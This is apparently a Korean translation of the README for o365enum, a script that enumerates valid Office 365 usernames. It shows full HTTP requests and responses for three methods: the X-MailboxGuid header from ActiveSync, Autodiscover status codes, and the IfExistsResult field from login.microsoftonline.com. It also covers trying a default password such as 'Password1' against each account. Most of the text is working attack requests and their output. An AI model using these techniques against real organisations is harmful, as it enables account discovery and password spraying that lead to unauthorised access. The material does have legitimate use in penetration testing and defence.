
ActiveSync, Autodiscover v1 또는 office.com 로그인 페이지를 사용하여 Office 365에서 유효한 사용자 이름을 열거합니다.
ActiveSync, Autodiscover 또는 office.com 로그인 페이지를 사용하여 Office 365에서 유효한 사용자 이름을 열거합니다.
o365enum은 첫 번째 매개변수로 제공된 파일에서 사용자 이름을 읽습니다. 파일은 한 줄에 하나의 사용자 이름을 포함해야 합니다. 출력은 CSV 기반으로 구문 분석이 쉽습니다. 유효 상태는 0(유효하지 않은 사용자), 1(유효한 사용자), 2(유효한 사용자 및 유효한 암호)일 수 있습니다.
python3.6 o365enum.py -h
usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]
[-m {activesync,autodiscover,office.com}]
Office365 User Enumeration Script
optional arguments:
-h, --help 도움말 메시지 표시 및 종료
-u USERLIST, --userlist USERLIST
사용자 이름 목록, 한 줄에 하나씩 (기본값: None)
-p PASSWORD, --password PASSWORD
시도할 암호 (기본값: Password1)
-n NUM, --num NUM 거짓 음성(false negative)을 제거하기 위한 재시도 횟수 (기본값: 3)
-v, --verbose urllib 수준에서 상세 출력 활성화 (기본값: False)
-m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}
사용할 방법 (기본값: activesync)
실행 예시:
./o365enum.py -u users.txt -p Password2 -n 1 -m activesync
username,valid
[email protected],0
[email protected],1
이 방법은 grimhacker의 방법을 기반으로 ActiveSync 엔드포인트에 Basic HTTP 인증 요청을 보냅니다. 그러나 상태 코드만 확인하는 것은 더 이상 작동하지 않습니다. Office 365는 사용자 존재 여부와 관계없이 401을 반환하기 때문입니다.
대신, 동일한 요청을 보내지만 사용자 정의 HTTP 응답 헤더(X-MailboxGuid)의 존재 여부를 확인하여 사용자 이름이 유효한지 여부를 식별합니다.
아래 요청에는 Authorization 헤더에 Base64로 인코딩된 다음 자격 증명이 포함되어 있습니다: [email protected]:Password1
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=
그러면 다음 응답("401 Unauthorized")이 반환되며, X-MailboxGuid 헤더가 설정되어 사용자 이름은 유효하지만 암호는 유효하지 않음을 나타냅니다:
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- 이 헤더가 계정 상태(존재)를 유출합니다
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
--snip--
아래 요청에는 Authorization 헤더에 Base64로 인코딩된 다음 자격 증명이 포함되어 있습니다: [email protected]:Password1
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==
그러면 다음 응답("401 Unauthorized")이 반환되지만 이번에는 X-MailboxGuid 헤더가 없어 사용자 이름이 유효하지 않음을 나타냅니다:
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close
--snip--
Autodiscover 엔드포인트를 사용하면 인증 시도 없이 사용자 열거가 가능합니다. 엔드포인트는 사용자가 존재하면 200 상태 코드를 반환하고, 존재하지 않으면 302를 반환합니다(리디렉션이 온프레미스 Exchange 서버로 이루어지지 않는 경우).
GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 97
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: fee7f899-7115-43da-9d34-d3ee19920a89
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 200
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 200
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0008
Date: Mon, 02 Mar 2020 12:50:48 GMT
Connection: close
{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}
GET /autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0
HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 277
Content-Type: text/html; charset=utf-8
Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1
Server: Microsoft-IIS/10.0
request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45
X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com
X-BackEndHttpStatus: 302
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: DB6PR0202MB2568
X-BEServer: DB6PR0202MB2568
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 302
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0013
Date: Mon, 02 Mar 2020 12:50:50 GMT
Connection: close
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1">here</a>.</h2>
</body></html>
경고: 이 방법은 Exchange Online을 구독 중이며 온프레미스 또는 하이브리드 Exchange 서버 배포가 없는 조직에서만 작동합니다.
온프레미스 Exchange 서버 또는 일부 하이브리드 배포를 사용하고, 아직 식별하지 못한 일부 구성에 따라 서버가 모든 사용자 이름 값에 대해 사용자가 존재한다는 값을 반환할 수 있습니다.
이 방법은 'Password1'로 인증 시도를 낭비하고 싶지 않을 때 유용합니다. :)
IfExistsResult 속성은 계정이 존재하는지와 그 방식을 설명하는 데 사용됩니다. 이 RSM 블로그 기사에서 논의된 바와 같이 값은 다음과 같습니다:
계정이 존재할 때 IfExistsResult는 위에 언급된 정수 중 하나로 설정되며, 일반적으로 0입니다.
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json
{
"checkPhones": false,
"isOtherIdpSupported": true,
"isRemoteNGCSupported": true,
"federationFlags": 0,
"isCookieBannerShown": false,
"isRemoteConnectSupported": false,
"isSignup": false,
"originalRequest": "rQIIA--snip--YWSO2",
"isAccessPassSupported": true,
"isFidoSupported": false,
"isExternalFederationDisallowed": false,
"username": "[email protected]",
"forceotclogin": false
}
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 177110da-7ce4-4880-b856-be6326078046
x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200
x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Fri, 31 Jan 2020 16:01:26 GMT
Connection: close
Content-Length: 587
{
"Username":"[email protected]",
"Display":"[email protected]",
"IfExistsResult":0,
"ThrottleStatus":0,
"Credentials":{
"PrefCredential":1,
"HasPassword":true,
"RemoteNgcParams":null,
"FidoParams":null,
"SasParams":null
},
"EstsProperties":{
"UserTenantBranding":null,
"DomainType":3
},
"IsSignupDisallowed":true,
"apiCanary":"--snip--"
}
계정이 존재하지 않을 때 IfExistsResult는 1로 설정됩니다.
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json
{
"checkPhones": false,
"isOtherIdpSupported": true,
"isRemoteNGCSupported": true,
"federationFlags": 0,
"isCookieBannerShown": false,
"isRemoteConnectSupported": false,
"isSignup": false,
"originalRequest": "rQIIA--snip--YWSO2",
"isAccessPassSupported": true,
"isFidoSupported": false,
"isExternalFederationDisallowed": false,
"username": "[email protected]",
"forceotclogin": false
}
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7
x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00
x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Thu, 06 Feb 2020 12:57:43 GMT
Connection: close
Content-Length: 579
{
"ThrottleStatus": 0,
"apiCanary": "--snip--",
"Username": "[email protected]",
"IfExistsResult": 1,
"EstsProperties": {
"UserTenantBranding": null,
"DomainType": 3
},
"Credentials": {
"PrefCredential": 1,
"FidoParams": null,
"RemoteNgcParams": null,
"SasParams": null,
"HasPassword": true
},
"IsSignupDisallowed": true,
"Display": "[email protected]"
}
| 항목 | 값 |
|---|
| -1 | 알 수 없는 오류 |
| 0 | 계정이 존재하며 해당 도메인을 인증에 사용함 |
| 1 | 계정이 존재하지 않음 |
| 2 | 응답이 제한됨 |
| 4 | 일부 서버 오류 |
| 5 | 계정이 존재하지만 다른 ID 공급자로 인증하도록 설정됨. 이는 계정이 개인 계정으로만 사용됨을 나타낼 수 있음 |
| 6 | 계정이 존재하며 도메인과 다른 ID 공급자를 모두 사용하도록 설정됨 |